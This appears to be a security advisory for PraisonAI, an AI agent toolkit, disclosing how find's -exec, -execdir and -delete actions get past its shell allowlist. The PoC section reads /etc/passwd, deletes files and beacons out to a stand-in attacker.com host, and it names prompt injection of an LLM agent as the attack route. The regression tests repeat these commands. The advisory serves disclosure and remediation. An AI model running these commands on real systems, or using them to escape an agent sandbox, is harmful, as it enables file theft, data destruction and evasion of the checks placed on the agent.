Wysoka

PraisonAI: Shell command allowlist bypass via find -exec built-in action

  • Ujawniono: 08.10.2026
  • Aktualizacja: 15.10.2026 18:17

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

# Component File Gap
1 TS utility-tools shell() src/praisonai-ts/src/tools/utility-tools.ts:255 find in safeCommands allowlist
2 TS SandboxExecutor src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 find absent from DEFAULT_BLOCKED_COMMANDS
3 Python safe_shell src/praisonai/praisonai/cli/features/safe_shell.py:22-58 find absent from BANNED_COMMANDS, present in SAFE_COMMANDS
4 Python sandbox_executor src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 find absent from blocked_commands

Bypass analysis:

Check find /etc -name passwd -maxdepth 1 -execdir cat {} + Result
Metachar regex `/[; &`><]/` {, }, + are not in regex
Regex /\$\([^)]*\)/ No $(...) PASS
safeCommands.includes('find') find IS in allowlist PASS
SandboxExecutor blocked paths normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) PASS
spawn('find', [...], {shell:false}) find interprets -execdir internally BYPASS

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

Precondition How attacker obtains Default?
Access to shell() or SandboxExecutor Default built-in tool in the npm agent toolkit; reachable via prompt injection Y
find binary on target Standard Unix utility, present on Linux/macOS Y
find in allowlist / absent from blocklist Default configuration in each implementation Y

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

js
const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

js
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

js
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero

4. Python safe_shell

python
from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

  • Blocked file read: -execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)
  • File deletion: -delete destroys files without metacharacters (verified: clean exit 0)
  • Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests:

ts
test('rejects find -exec', async () => {
    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
    expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});

References

  • GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
  • GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
  • Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) praisonai < 4.6.78 4.6.78

Odnośniki

Ocena CVSS 8.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-693, CWE-78
Platforma
Python (PyPI)
Paczka
praisonai
Ujawniono
08.10.2026
Aktualizacja
15.10.2026 18:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-4254 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-cv3g-hj65-pcfh - CC BY 4.0

Historia podatności: praisonai

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (104) w archiwum
Wszystkich wpisów
104
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 27
  • Wysoka 60
  • Średnia 17

Ujawnienia w latach

  1. 2026: 104
Istotność:
  1. PraisonAI: Shell command allowlist bypass via find -exec built-in action ten wpis
    Wysoka · 8.8 CVE-2026-61434 < 4.6.78 4.6.78
  2. Wysoka · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. Wysoka · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. Wysoka · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Krytyczna · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. Wysoka · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. Wysoka · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. Wysoka · 8.6 CVE-2026-56837 >= 4.6.56, < 4.6.59 4.6.59
  9. Wysoka · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  10. Wysoka · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  11. Wysoka CVE-2026-47397 < 4.6.40 4.6.40
  12. Wysoka · 8.4 CVE-2026-44334 >= 4.5.139, < 4.6.32 4.6.32
  13. Krytyczna · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  14. Krytyczna · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  15. Wysoka · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  16. Krytyczna · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  17. Wysoka · 8.6 CVE-2026-40158 < 4.5.128 4.5.128
  18. Krytyczna · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  19. Wysoka · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  20. Krytyczna CVE-2026-35615 < 1.5.113 1.5.113
  21. Wysoka · 8.1 CVE-2026-39307 < 4.5.113 4.5.113
  22. Krytyczna · 9.1 CVE-2026-34953 < 4.5.97 4.5.97
  23. Krytyczna · 9.1 CVE-2026-34952 < 4.5.97 4.5.97
  24. Wysoka · 7.7 CVE-2026-34936 < 4.5.90 4.5.90
  25. Krytyczna · 9.8 CVE-2026-34934 < 4.5.90 4.5.90
  26. Krytyczna · 9.8 CVE-2026-34935 >= 4.5.15, < 4.5.69 4.5.69

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.